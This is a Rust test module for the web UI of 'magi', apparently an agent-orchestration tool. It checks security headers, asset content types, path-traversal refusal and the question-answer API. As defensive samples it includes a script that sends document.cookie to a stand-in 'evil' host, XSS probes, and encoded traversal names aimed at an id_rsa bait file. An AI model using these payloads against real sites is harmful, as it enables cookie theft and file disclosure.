4339        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4340            let queue = Queue::at(home.join("queue"));
4341            let runs = home.join("runs");
4342            std::fs::create_dir_all(&runs).expect("runs dir");
4343            let worktrees = home.join("wt").join("magi");
4344            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4345            let ui = Ui::new(
4346                queue,
4347                Questions::at(home.join("questions")),
4348                Talks::at(home.join("talks")),
4349                runs,
4350                home.to_path_buf(),
4351                repo,
4352            )
4353            .with_worktrees_root(worktrees)
4354            .with_launch(launch);
4355            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4356                .await
4357                .expect("bind loopback");
4358            let addr = listener.local_addr().expect("local addr");
4359            tokio::spawn(async move {
4360                let _ = axum::serve(listener, ui.router()).await;
4361            });
4362            addr
4363        }
4364
4365        fn queue(&self) -> Queue {
4366            Queue::at(self.home.path().join("queue"))
4367        }
4368
4369        fn questions(&self) -> Questions {
4370            Questions::at(self.home.path().join("questions"))
4371        }
4372
4373        fn talks(&self) -> Talks {
4374            Talks::at(self.home.path().join("talks"))
4375        }
4376
4377        fn runs(&self) -> PathBuf {
4378            self.home.path().join("runs")
4379        }
4380
4381        async fn get(&self, path: &str) -> Res {
4382            request(self.addr, "GET", path, None).await
4383        }
4384
4385        /// The status and headers without the body, which is how the front end
4386        /// preflights a panel: a sandboxed frame is opaque to the parent
4387        /// document, so the only way to tell "no panel" from "a panel that
4388        /// rendered blank" is to ask before mounting.
4389        async fn head(&self, path: &str) -> Res {
4390            request(self.addr, "HEAD", path, None).await
4391        }
4392
4393        async fn post(&self, path: &str, body: Option<&str>) -> Res {
4394            request(self.addr, "POST", path, body).await
4395        }
4396
4397        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4398            request_with(self.addr, "GET", path, None, extra).await
4399        }
4400
4401        async fn delete(&self, path: &str) -> Res {
4402            request(self.addr, "DELETE", path, None).await
4403        }
4404
4405        /// `POST` a raw body with its own headers - see [`request_bytes`].
4406        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4407            request_bytes(self.addr, path, headers, body).await
4408        }
4409    }
4410
4411    struct Res {
4412        status: u16,
4413        headers: String,
4414        /// The header block with its original casing, for the assertions that
4415        /// compare a header *value* rather than looking for a name. Lowercasing
4416        /// a CSP would hide a directive spelled with a capital letter, and the
4417        /// whole point of that test is that the string is exactly right.
4418        head: String,
4419        body: String,
4420        /// The body before any UTF-8 handling, for the routes that serve
4421        /// something other than text. A panel asset is a PNG as often as not,
4422        /// and `from_utf8_lossy` would silently replace half of it.
4423        bytes: Vec<u8>,
4424    }
4425
4426    impl Res {
4427        fn json(&self) -> Value {
4428            serde_json::from_str(&self.body)
4429                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4430        }
4431
4432        /// One header's value verbatim, or `None` when it was not sent.
4433        fn header(&self, name: &str) -> Option<&str> {
4434            self.head.lines().find_map(|line| {
4435                let (key, value) = line.split_once(':')?;
4436                key.trim()
4437                    .eq_ignore_ascii_case(name)
4438                    .then(|| value.trim_start().trim_end_matches('\r'))
4439            })
4440        }
4441    }
4442
4443    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
4444    /// be read to end-of-stream without parsing framing.
4445    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4446        request_with(addr, method, path, body, &[]).await
4447    }
4448
4449    /// As [`request`], with extra request headers - conditional GETs need
4450    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
4451    /// worse than one that sets none.
4452    async fn request_with(
4453        addr: SocketAddr,
4454        method: &str,
4455        path: &str,
4456        body: Option<&str>,
4457        extra: &[(&str, &str)],
4458    ) -> Res {
4459        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4460        for (name, value) in extra {
4461            head.push_str(&format!("{name}: {value}\r\n"));
4462        }
4463        if let Some(body) = body {
4464            head.push_str("Content-Type: application/json\r\n");
4465            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4466        }
4467        head.push_str("\r\n");
4468        if let Some(body) = body {
4469            head.push_str(body);
4470        }
4471        let mut socket = tokio::net::TcpStream::connect(addr)
4472            .await
4473            .expect("connect to the test server");
4474        socket
4475            .write_all(head.as_bytes())
4476            .await
4477            .expect("write request");
4478        let mut raw = Vec::new();
4479        socket.read_to_end(&mut raw).await.expect("read response");
4480        // Split on the raw bytes rather than on a lossy string, so a binary
4481        // body survives to be compared byte for byte.
4482        let split = raw
4483            .windows(4)
4484            .position(|w| w == b"\r\n\r\n")
4485            .expect("a header block");
4486        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4487        let bytes = raw[split + 4..].to_vec();
4488        let status = head
4489            .lines()
4490            .next()
4491            .and_then(|line| line.split_whitespace().nth(1))
4492            .and_then(|code| code.parse().ok())
4493            .expect("a status line");
4494        Res {
4495            status,
4496            headers: head.to_lowercase(),
4497            head,
4498            body: String::from_utf8_lossy(&bytes).into_owned(),
4499            bytes,
4500        }
4501    }
4502
4503    /// A `POST` carrying a raw binary body and its own headers, for the
4504    /// attachment upload route - `request_with` only ever sends
4505    /// `Content-Type: application/json`, which is wrong for an image and
4506    /// would corrupt anything not valid UTF-8 by round-tripping it through
4507    /// `&str` first.
4508    async fn request_bytes(
4509        addr: SocketAddr,
4510        path: &str,
4511        headers: &[(&str, &str)],
4512        body: &[u8],
4513    ) -> Res {
4514        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4515        for (name, value) in headers {
4516            head.push_str(&format!("{name}: {value}\r\n"));
4517        }
4518        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4519        let mut socket = tokio::net::TcpStream::connect(addr)
4520            .await
4521            .expect("connect to the test server");
4522        socket
4523            .write_all(head.as_bytes())
4524            .await
4525            .expect("write request head");
4526        socket.write_all(body).await.expect("write request body");
4527        let mut raw = Vec::new();
4528        socket.read_to_end(&mut raw).await.expect("read response");
4529        let split = raw
4530            .windows(4)
4531            .position(|w| w == b"\r\n\r\n")
4532            .expect("a header block");
4533        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4534        let bytes = raw[split + 4..].to_vec();
4535        let status = head
4536            .lines()
4537            .next()
4538            .and_then(|line| line.split_whitespace().nth(1))
4539            .and_then(|code| code.parse().ok())
4540            .expect("a status line");
4541        Res {
4542            status,
4543            headers: head.to_lowercase(),
4544            head,
4545            body: String::from_utf8_lossy(&bytes).into_owned(),
4546            bytes,
4547        }
4548    }
4549
4550    /// A run on disk, without touching the process-global magi home.
4551    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4552        let mut state = RunState::new(
4553            PathBuf::from("/repo/magi"),
4554            "main".to_owned(),
4555            "0123456789abcdef".to_owned(),
4556            "Add a web UI\n\nMobile first.".to_owned(),
4557            Config::default(),
4558        );
4559        state.id = id.to_owned();
4560        state.status = status;
4561        let dir = runs.join(id);
4562        std::fs::create_dir_all(&dir).expect("run dir");
4563        std::fs::write(
4564            dir.join("run.json"),
4565            serde_json::to_string_pretty(&state).expect("serialize run"),
4566        )
4567        .expect("write run.json");
4568    }
4569
4570    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4571        let body = serde_json::json!({
4572            "schema": 1,
4573            "pid": 4242,
4574            "started_at": Timestamp::now().to_string(),
4575            "updated_at": updated_at.to_string(),
4576            "idle": false,
4577            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4578            "completed": 7,
4579            "polls": 143,
4580        });
4581        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4582    }
4583
4584    /// A loop that starts, finds nothing to do, and waits to be told to stop.
4585    ///
4586    /// No test in this file may start the real loop - see [`Ui::launch`] for
4587    /// why - so this stands in for the only thing the routes need a loop to
4588    /// do: keep running until `Stop` is set, then return. A real
4589    /// `serve_until` here would resolve its queue and its status file through
4590    /// the process-global magi home, claim whatever it found in the
4591    /// operator's live backlog, overwrite the status file of the `magi serve`
4592    /// that owns it, and spend real agent quota on a real competition.
4593    fn launch_idle(
4594        _opts: daemon::Opts,
4595        stop: daemon::Stop,
4596    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4597        Box::pin(async move {
4598            while !stop.stopped() {
4599                tokio::time::sleep(Duration::from_millis(2)).await;
4600            }
4601            Ok(())
4602        })
4603    }
4604
4605    /// A loop that fails on the way up, the way one whose home has gone
4606    /// read-only does.
4607    fn launch_broken(
4608        _opts: daemon::Opts,
4609        _stop: daemon::Stop,
4610    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4611        Box::pin(async {
4612            Err(anyhow::anyhow!(
4613                "publish the daemon status file: read-only file system"
4614            ))
4615        })
4616    }
4617
4618    /// The address the parking loop knocks on, and what it heard there.
4619    ///
4620    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
4621    /// capture a fixture's address; this is how it is handed one. Only
4622    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
4623    /// these, so nothing else in this binary can race them.
4624    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4625    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4626
4627    /// A loop that, once it is asked to stop, checks the deck still answers
4628    /// before it goes.
4629    ///
4630    /// It stands in for a run mid-node: `finish_loop` waits for this future,
4631    /// so the request it makes is strictly inside the park window - no sleep
4632    /// and no polling needed to be sure of that.
4633    fn launch_knocking_on_the_way_out(
4634        _opts: daemon::Opts,
4635        stop: daemon::Stop,
4636    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4637        Box::pin(async move {
4638            while !stop.stopped() {
4639                tokio::time::sleep(Duration::from_millis(2)).await;
4640            }
4641            let addr = PARK_KNOCK
4642                .lock()
4643                .expect("park knock")
4644                .expect("the test set an address");
4645            let heard = request(addr, "GET", "/api/health", None).await.status;
4646            *PARK_HEARD.lock().expect("park heard") = Some(heard);
4647            Ok(())
4648        })
4649    }
4650
4651    /// The loop view once `want` accepts it.
4652    ///
4653    /// Polled rather than asserted straight after the POST because stopping
4654    /// is deliberately not instant - that is the contract - and rather than
4655    /// slept through because a fixed wait is either flaky or slow.
4656    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
4657    /// finite, so a genuine hang fails the test instead of hanging the
4658    /// suite.
4659    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4660        for _ in 0..SETTLE_STEPS {
4661            let view = fx.get("/api/loop").await.json();
4662            if want(&view) {
4663                return view;
4664            }
4665            tokio::time::sleep(Duration::from_millis(10)).await;
4666        }
4667        panic!(
4668            "the loop never settled: {}",
4669            fx.get("/api/loop").await.json()
4670        );
4671    }
4672
4673    /// File an open question directly in the store the server reads.
4674    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4675        let store = fx.questions();
4676        let mut q = Question::new(
4677            "20260902-000000-beef".to_owned(),
4678            "implement".to_owned(),
4679            "impl-A".to_owned(),
4680            summary.to_owned(),
4681            "because it matters".to_owned(),
4682            choices.iter().map(|c| (*c).to_owned()).collect(),
4683        );
4684        store.put(&mut q).expect("put question");
4685        q.id
4686    }
4687
4688    /// A question with a panel the server can serve, plus the named assets.
4689    ///
4690    /// Written through `Questions::put_panel` rather than by laying out the
4691    /// directory here, so these tests exercise the same on-disk shape the
4692    /// agents produce and cannot pass against a layout only the tests know.
4693    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4694        let store = fx.questions();
4695        let mut q = Question::new(
4696            "20260902-000000-beef".to_owned(),
4697            "land".to_owned(),
4698            "fix".to_owned(),
4699            "Merge this?".to_owned(),
4700            "the diff is in the panel".to_owned(),
4701            vec!["merge".to_owned(), "hold".to_owned()],
4702        );
4703        // Staged outside the questions root, because `put_panel` copies from
4704        // wherever the agent left its files.
4705        let staging = fx.home.path().join("staging");
4706        std::fs::create_dir_all(&staging).expect("staging dir");
4707        let sources: Vec<PathBuf> = assets
4708            .iter()
4709            .map(|(name, bytes)| {
4710                let path = staging.join(name);
4711                std::fs::write(&path, bytes).expect("write staged asset");
4712                path
4713            })
4714            .collect();
4715        store
4716            .put_panel(&mut q, html, &sources)
4717            .expect("write the panel");
4718        store.put(&mut q).expect("put question");
4719        q.id
4720    }
4721
4722    /// A talk on disk, without talking to a model.
4723    ///
4724    /// Written as JSON straight into the store the server reads, because the
4725    /// only constructor `talk::begin` offers takes no turn but still requires
4726    /// a real caller-visible flow. The one thing this cannot make up is the
4727    /// seat, so it is built with the real `SeatState::new` and serialized -
4728    /// the alternative, hand-writing that object, would make these tests fail
4729    /// the day the seat gains a field.
4730    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4731        let store = fx.talks();
4732        std::fs::create_dir_all(store.root()).expect("talks dir");
4733        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4734            .expect("serialize a seat");
4735        let body = serde_json::json!({
4736            "schema": 1,
4737            "id": id,
4738            "repo": "/repo/magi",
4739            "agent": "mock",
4740            "status": status,
4741            "turns": [],
4742            "created_at": Timestamp::now().to_string(),
4743            "updated_at": Timestamp::now().to_string(),
4744            "seat": seat,
4745        });
4746        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4747        store.get(id).expect("the seeded talk has to be readable");
4748        id.to_owned()
4749    }
4750
4751    #[tokio::test]
4752    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4753        let fx = Fixture::start().await;
4754        let id = panel(
4755            &fx,
4756            "<h1>Merge?</h1><img src=\"diff.svg\">",
4757            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4758        );
4759
4760        for path in [
4761            format!("/api/questions/{id}/panel"),
4762            format!("/api/questions/{id}/asset/diff.svg"),
4763        ] {
4764            let res = fx.get(&path).await;
4765            assert_eq!(res.status, 200, "{path}: {}", res.body);
4766            // The whole string, not a substring. A weakened directive - an
4767            // `img-src *` that lets a panel beacon out to a remote host, a
4768            // `script-src` anything, a missing `form-action` that lets it post
4769            // the owner's decision to a third party - has to fail here, and a
4770            // `contains` assertion would let every one of those through.
4771            assert_eq!(
4772                res.header("content-security-policy"),
4773                Some(
4774                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4775                     font-src data:; base-uri 'none'; form-action 'none'; \
4776                     frame-ancestors 'self'"
4777                ),
4778                "{path} is the only thing between a hostile panel and the tailnet"
4779            );
4780            assert_eq!(
4781                res.header("x-content-type-options"),
4782                Some("nosniff"),
4783                "{path}: a browser must not re-decide the type we sent"
4784            );
4785            assert_eq!(
4786                res.header("referrer-policy"),
4787                Some("no-referrer"),
4788                "{path}: a panel must not leak the question id off the machine"
4789            );
4790
4791            // The front end mounts the frame only after a `HEAD` says the
4792            // panel is there, so `HEAD` has to answer with the same status and
4793            // the same policy as `GET` - a preflight that came back without
4794            // the CSP would mean a frame mounted on an unverified promise.
4795            let pre = fx.head(&path).await;
4796            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4797            assert_eq!(
4798                pre.header("content-security-policy"),
4799                res.header("content-security-policy"),
4800                "{path}: the preflight carries the same policy"
4801            );
4802            assert_eq!(
4803                pre.header("content-type"),
4804                res.header("content-type"),
4805                "{path}: the preflight carries the same type"
4806            );
4807        }
4808    }
4809
4810    #[tokio::test]
4811    async fn a_panel_reaches_the_browser_byte_for_byte() {
4812        let fx = Fixture::start().await;
4813        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
4814        // tag, an entity, and a multi-byte character. The sandbox is what makes
4815        // this safe, so nothing here may be rewritten on the way out - a
4816        // rewritten diff is a diff the owner cannot trust.
4817        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
4818        let id = panel(&fx, html, &[]);
4819
4820        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4821
4822        assert_eq!(res.status, 200);
4823        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4824        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4825        assert_eq!(
4826            res.header("content-disposition"),
4827            None,
4828            "the panel itself is rendered in the frame, not downloaded"
4829        );
4830    }
4831
4832    #[tokio::test]
4833    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4834        let fx = Fixture::start().await;
4835        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4836        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4837        let id = panel(
4838            &fx,
4839            "<img src=\"diff.svg\"><img src=\"shot.png\">",
4840            &[("diff.svg", svg), ("shot.png", png)],
4841        );
4842
4843        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4844        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4845
4846        assert_eq!(as_svg.status, 200);
4847        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4848        // An SVG is XML that may carry script. Inside the panel it is an
4849        // `<img src>` and the script cannot run; opened at the top level it
4850        // would be a document on magi's own origin, so the browser is told to
4851        // download it instead of rendering it.
4852        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4853
4854        assert_eq!(as_png.status, 200);
4855        assert_eq!(as_png.header("content-type"), Some("image/png"));
4856        assert_eq!(
4857            as_png.header("content-disposition"),
4858            None,
4859            "a raster image has no execution surface, so tapping it still shows it"
4860        );
4861        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4862    }
4863
4864    #[tokio::test]
4865    async fn an_html_asset_is_never_served_as_html() {
4866        let fx = Fixture::start().await;
4867        let id = panel(
4868            &fx,
4869            "<p>see the notes</p>",
4870            &[
4871                (
4872                    "notes.html",
4873                    b"<script>fetch('http://evil/'+document.cookie)</script>",
4874                ),
4875                ("hook.js", b"fetch('http://evil/')"),
4876                ("data.json", b"{}"),
4877                ("HEADLINE.TXT", b"plain"),
4878            ],
4879        );
4880
4881        for name in ["notes.html", "hook.js", "data.json"] {
4882            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4883            assert_eq!(res.status, 200, "{name}: {}", res.body);
4884            // Serving this as text/html would be a way to reach agent markup
4885            // at the top level of the operator's browser, outside the frame's
4886            // sandbox and outside its CSP - which is the whole thing the panel
4887            // design exists to prevent. Unlisted types are downloads.
4888            assert_eq!(
4889                res.header("content-type"),
4890                Some("application/octet-stream"),
4891                "{name} must not be a type the browser will execute or render"
4892            );
4893        }
4894        // The whitelist is matched case-insensitively, so an agent shouting the
4895        // extension still gets a readable file rather than a download.
4896        let txt = fx
4897            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4898            .await;
4899        assert_eq!(
4900            txt.header("content-type"),
4901            Some("text/plain; charset=utf-8")
4902        );
4903    }
4904
4905    #[tokio::test]
4906    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4907        let fx = Fixture::start().await;
4908        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4909        // Something outside the panel directory that a traversal would reach if
4910        // one got through, so a passing test is not merely "the file was
4911        // missing anyway".
4912        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4913
4914        // Decoded before this server's handler sees them: axum percent-decodes
4915        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
4916        // string with a NUL in it. All three look like ordinary single-segment
4917        // filenames to the router, so the router passes them through and
4918        // `valid_asset_name` is what refuses them - for the literal `..`, and
4919        // for `/`, `\` and NUL not being in the permitted character set.
4920        for encoded in [
4921            "%2e%2e%2fid_rsa",
4922            "..%2fid_rsa",
4923            "..%5cid_rsa",
4924            "%2e%2e%5cid_rsa",
4925            "diff%00.svg",
4926            "..",
4927            ".hidden",
4928            "%2e%2e%2f%2e%2e%2fid_rsa",
4929        ] {
4930            let res = fx
4931                .get(&format!("/api/questions/{id}/asset/{encoded}"))
4932                .await;
4933            assert_eq!(
4934                res.status, 400,
4935                "`{encoded}` has to be refused by name, not looked up: {}",
4936                res.body
4937            );
4938            assert!(res.json()["error"].is_string(), "{}", res.body);
4939        }
4940
4941        // Not decoded, and never this handler's problem: a real slash makes the
4942        // request one segment too long for `/api/questions/{id}/asset/{name}`,
4943        // so axum's router has no route to match and answers before any code
4944        // here runs. Asserted so that a future route with a wildcard segment
4945        // cannot quietly open this door.
4946        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4947            let res = fx
4948                .get(&format!("/api/questions/{id}/asset/{literal}"))
4949                .await;
4950            assert_eq!(
4951                res.status, 404,
4952                "`{literal}` must not match the asset route at all: {}",
4953                res.body
4954            );
4955        }
4956    }
4957
4958    #[tokio::test]
4959    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4960        let fx = Fixture::start().await;
4961        let plain = ask(&fx, "Which backend?", &["SQLite"]);
4962        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4963
4964        // A question nobody wrote a panel for. The client preflights with HEAD
4965        // and cannot see inside a sandboxed frame, so this must be a status and
4966        // not an empty page.
4967        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4968        assert_eq!(none.status, 404, "{}", none.body);
4969        assert!(none.json()["error"].is_string(), "{}", none.body);
4970        assert_eq!(
4971            fx.head(&format!("/api/questions/{plain}/panel"))
4972                .await
4973                .status,
4974            404,
4975            "the preflight is the only way the client can learn this"
4976        );
4977
4978        // A name that is perfectly legal and simply is not there.
4979        let missing = fx
4980            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4981            .await;
4982        assert_eq!(missing.status, 404, "{}", missing.body);
4983        assert!(missing.json()["error"].is_string(), "{}", missing.body);
4984
4985        // A question that does not exist at all, on both routes.
4986        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4987        assert_eq!(
4988            fx.get("/api/questions/nope/asset/diff.svg").await.status,
4989            404
4990        );
4991    }
4992
4993    #[tokio::test]
4994    async fn a_run_with_an_open_question_reads_as_waiting() {
4995        let fx = Fixture::start().await;
4996        let run = "20260902-000000-beef".to_owned();
4997        write_run(&fx.runs(), &run, RunStatus::Implementing);
4998
4999        let before = fx.get("/api/runs").await.json();
5000        assert_eq!(before[0]["waiting"], false, "{before}");
5001
5002        let store = fx.questions();
5003        let mut q = Question::new(
5004            run.clone(),
5005            "implement".to_owned(),
5006            "impl-A".to_owned(),
5007            "Which backend?".to_owned(),
5008            String::new(),
5009            vec!["SQLite".to_owned()],
5010        );
5011        store.put(&mut q).expect("put");
5012
5013        let during = fx.get("/api/runs").await.json();
5014        assert_eq!(during[0]["waiting"], true, "{during}");
5015
5016        // Answered: the run is moving again, and the flag has to follow without
5017        // anything having rewritten run.json.
5018        q.answer(Answer::Choice("SQLite".to_owned()))
5019            .expect("answer");
5020        store.put(&mut q).expect("put");
5021        let after = fx.get("/api/runs").await.json();
5022        assert_eq!(after[0]["waiting"], false, "{after}");
5023    }
5024
5025    #[tokio::test]
5026    async fn an_open_question_is_listed_and_counted_by_health() {
5027        let fx = Fixture::start().await;
5028        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5029
5030        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5031        let listed = fx.get("/api/questions").await.json();
5032        assert_eq!(listed.as_array().expect("array").len(), 1);
5033        assert_eq!(listed[0]["id"], id);
5034        assert_eq!(listed[0]["status"], "open");
5035        assert_eq!(listed[0]["choices"][1], "Redis");
5036        // The count is what makes the phone's indicator honest: it is the one
5037        // number meaning nothing will move until a human acts.
5038        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5039    }
5040
5041    #[tokio::test]
5042    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5043        let fx = Fixture::start().await;
5044        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5045        let path = format!("/api/questions/{id}/answer");
5046
5047        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5048        assert_eq!(res.status, 200, "{}", res.body);
5049        let body = res.json();
5050        assert_eq!(body["status"], "answered");
5051        assert_eq!(body["answer"]["choice"], "Redis");
5052
5053        // Answered from the terminal in between the list and the tap: the UI
5054        // must be able to tell this from a bad request, so it can show the
5055        // recorded answer instead of an error.
5056        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5057        assert_eq!(again.status, 409, "{}", again.body);
5058        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5059    }
5060
5061    #[tokio::test]
5062    async fn saying_something_appends_a_turn_without_answering() {
5063        let fx = Fixture::start().await;
5064        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5065        let path = format!("/api/questions/{id}/say");
5066
5067        let res = fx
5068            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5069            .await;
5070        assert_eq!(res.status, 200, "{}", res.body);
5071        let body = res.json();
5072        assert_eq!(body["status"], "open", "talking back is not a decision");
5073        assert_eq!(body["answer"], Value::Null);
5074        assert_eq!(body["thread"][0]["who"], "operator");
5075        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5076        assert_eq!(body["waiting_on_agent"], true);
5077        // Still open, still counted, still exactly one question.
5078        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5079    }
5080
5081    #[tokio::test]
5082    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5083        let fx = Fixture::start().await;
5084        let store = fx.questions();
5085        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5086        assert_eq!(
5087            fx.get("/api/health").await.json()["questions_needs_owner"],
5088            1
5089        );
5090
5091        // The owner asks back instead of deciding: the ask bar, the nav badge
5092        // and the title must stop naming this question, because there is
5093        // nothing to decide until the agent answers - `status` alone cannot
5094        // say that, which is the whole reason `questions_needs_owner` exists
5095        // alongside `questions_open`.
5096        let res = fx
5097            .post(
5098                &format!("/api/questions/{id}/say"),
5099                Some(r#"{"body":"why not Postgres?"}"#),
5100            )
5101            .await;
5102        assert_eq!(res.status, 200, "{}", res.body);
5103        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5104        assert_eq!(
5105            fx.get("/api/health").await.json()["questions_needs_owner"],
5106            0,
5107            "waiting on the agent is not waiting on the owner"
5108        );
5109
5110        // `magi ask --thread` replying is what brings the owner count back -
5111        // the same event that would resume the CLI call blocked in `magi
5112        // ask`.
5113        let mut q = store.get(&id).expect("get");
5114        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5115            .expect("reply");
5116        store.put(&mut q).expect("put");
5117        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5118        assert_eq!(
5119            fx.get("/api/health").await.json()["questions_needs_owner"],
5120            1,
5121            "the agent's reply is what should light the banner back up"
5122        );
5123    }
5124
5125    #[tokio::test]
5126    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5127        let fx = Fixture::start().await;
5128        let store = fx.questions();
5129
5130        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5131        let res = fx
5132            .post(
5133                &format!("/api/questions/{empty_id}/say"),
5134                Some(r#"{"body":"   "}"#),
5135            )
5136            .await;
5137        assert_eq!(res.status, 400, "{}", res.body);
5138
5139        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5140        let mut answered = store.get(&answered_id).expect("get");
5141        answered
5142            .answer(Answer::Choice("SQLite".to_owned()))
5143            .expect("answer");
5144        store.put(&mut answered).expect("put");
5145        let res = fx
5146            .post(
5147                &format!("/api/questions/{answered_id}/say"),
5148                Some(r#"{"body":"still there?"}"#),
5149            )
5150            .await;
5151        assert_eq!(res.status, 409, "{}", res.body);
5152
5153        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5154        let mut abandoned = store.get(&abandoned_id).expect("get");
5155        abandoned.abandon("timed out");
5156        store.put(&mut abandoned).expect("put");
5157        let res = fx
5158            .post(
5159                &format!("/api/questions/{abandoned_id}/say"),
5160                Some(r#"{"body":"still there?"}"#),
5161            )
5162            .await;
5163        assert_eq!(res.status, 409, "{}", res.body);
5164    }
5165
5166    #[tokio::test]
5167    async fn an_answer_the_question_does_not_offer_is_refused() {
5168        let fx = Fixture::start().await;
5169        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5170        let path = format!("/api/questions/{id}/answer");
5171
5172        for body in [
5173            r#"{"choice":"Postgres"}"#,
5174            r#"{"text":"whatever you think"}"#,
5175            r#"{"choice":"Redis","text":"both"}"#,
5176            r#"{}"#,
5177        ] {
5178            let res = fx.post(&path, Some(body)).await;
5179            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5180            assert!(res.json()["error"].is_string(), "{}", res.body);
5181        }
5182        // Nothing above may have answered it.
5183        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5184    }
5185
5186    #[tokio::test]
5187    async fn a_free_text_question_takes_text_and_not_a_choice() {
5188        let fx = Fixture::start().await;
5189        let id = ask(&fx, "What should the flag be called?", &[]);
5190        let path = format!("/api/questions/{id}/answer");
5191
5192        assert_eq!(
5193            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5194            400
5195        );
5196        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5197        assert_eq!(res.status, 200, "{}", res.body);
5198        assert_eq!(res.json()["answer"]["text"], "--json");
5199    }
5200
5201    #[tokio::test]
5202    async fn an_unknown_question_is_a_json_404() {
5203        let fx = Fixture::start().await;
5204        let res = fx
5205            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5206            .await;
5207        assert_eq!(res.status, 404, "{}", res.body);
5208        assert!(res.json()["error"].is_string());
5209    }
5210
